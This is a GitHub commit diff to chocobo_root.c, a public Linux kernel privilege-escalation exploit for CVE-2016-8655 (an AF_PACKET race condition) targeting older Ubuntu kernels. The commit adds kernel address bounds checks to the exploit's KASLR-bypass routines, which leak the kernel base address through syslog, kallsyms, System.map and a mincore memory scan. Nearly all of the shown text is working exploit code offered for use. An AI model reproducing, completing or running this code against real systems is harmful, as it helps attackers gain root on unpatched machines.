-
Notifications
You must be signed in to change notification settings - Fork 237
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Define KERNEL_BASE_MIN and KERNEL_BASE_MAX
- Loading branch information
Showing
4 changed files
with
82 additions
and
56 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,7 @@ | ||
/* | ||
chocobo_root.c | ||
linux AF_PACKET race condition exploit for CVE-2016-8655. | ||
Includes KASLR and SMEP bypasses. | ||
Includes KASLR and SMEP bypasses. No SMAP bypass. | ||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74. | ||
All kernel offsets have been tested on Ubuntu / Linux Mint. | ||
|
@@ -114,6 +114,8 @@ Updated by <[email protected]> | |
#define ENABLE_KASLR_BYPASS 1 | ||
|
||
#if ENABLE_KASLR_BYPASS | ||
# define KERNEL_BASE_MIN 0xffffffff00000000ul | ||
# define KERNEL_BASE_MAX 0xffffffffff000000ul | ||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1 | ||
# define ENABLE_KASLR_BYPASS_SYSMAP 1 | ||
# define ENABLE_KASLR_BYPASS_SYSLOG 1 | ||
|
@@ -666,6 +668,7 @@ void detect_versions() { | |
} | ||
|
||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * | ||
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c | ||
|
||
#if ENABLE_KASLR_BYPASS_SYSLOG | ||
#define SYSLOG_ACTION_READ_ALL 3 | ||
|
@@ -694,30 +697,34 @@ int mmap_syslog(char** buffer, int* size) { | |
unsigned long get_kernel_addr_trusty(char* buffer, int size) { | ||
const char* needle1 = "Freeing unused"; | ||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); | ||
if (substr == NULL) return 0; | ||
if (substr == NULL) | ||
return 0; | ||
|
||
int start = 0; | ||
int end = 0; | ||
for (end = start; substr[end] != '-'; end++); | ||
|
||
const char* needle2 = "ffffff"; | ||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); | ||
if (substr == NULL) return 0; | ||
if (substr == NULL) | ||
return 0; | ||
|
||
char* endptr = &substr[16]; | ||
unsigned long r = strtoul(&substr[0], &endptr, 16); | ||
unsigned long addr = strtoul(&substr[0], &endptr, 16); | ||
|
||
r &= 0xffffffffff000000ul; | ||
addr &= 0xffffffffff000000ul; | ||
|
||
return r; | ||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) | ||
return addr; | ||
|
||
return 0; | ||
} | ||
|
||
unsigned long get_kernel_addr_xenial(char* buffer, int size) { | ||
const char* needle1 = "Freeing unused"; | ||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); | ||
if (substr == NULL) { | ||
if (substr == NULL) | ||
return 0; | ||
} | ||
|
||
int start = 0; | ||
int end = 0; | ||
|
@@ -726,17 +733,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) { | |
|
||
const char* needle2 = "ffffff"; | ||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); | ||
if (substr == NULL) { | ||
if (substr == NULL) | ||
return 0; | ||
} | ||
|
||
char* endptr = &substr[16]; | ||
unsigned long r = strtoul(&substr[0], &endptr, 16); | ||
unsigned long addr = strtoul(&substr[0], &endptr, 16); | ||
|
||
r &= 0xfffffffffff00000ul; | ||
r -= 0x1000000ul; | ||
addr &= 0xfffffffffff00000ul; | ||
addr -= 0x1000000ul; | ||
|
||
return r; | ||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) | ||
return addr; | ||
|
||
return 0; | ||
} | ||
|
||
unsigned long get_kernel_addr_syslog() { | ||
|
@@ -762,6 +771,7 @@ unsigned long get_kernel_addr_syslog() { | |
#endif | ||
|
||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * | ||
// https://grsecurity.net/~spender/exploits/exploit.txt | ||
|
||
#if ENABLE_KASLR_BYPASS_KALLSYMS | ||
unsigned long get_kernel_addr_kallsyms() { | ||
|
@@ -799,6 +809,7 @@ unsigned long get_kernel_addr_kallsyms() { | |
#endif | ||
|
||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * | ||
// https://grsecurity.net/~spender/exploits/exploit.txt | ||
|
||
#if ENABLE_KASLR_BYPASS_SYSMAP | ||
unsigned long get_kernel_addr_sysmap() { | ||
|
@@ -868,7 +879,7 @@ unsigned long get_kernel_addr_mincore() { | |
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) { | ||
addr = *(unsigned long*)(&buf[n]); | ||
/* Kernel address space */ | ||
if (addr > 0xffffffff00000000 && addr < 0xffffffffff000000) { | ||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) { | ||
addr &= 0xffffffffff000000ul; | ||
if (munmap((void*)0x66000000, 0x20000000000)) | ||
dprintf("[-] munmap(): %m\n"); | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters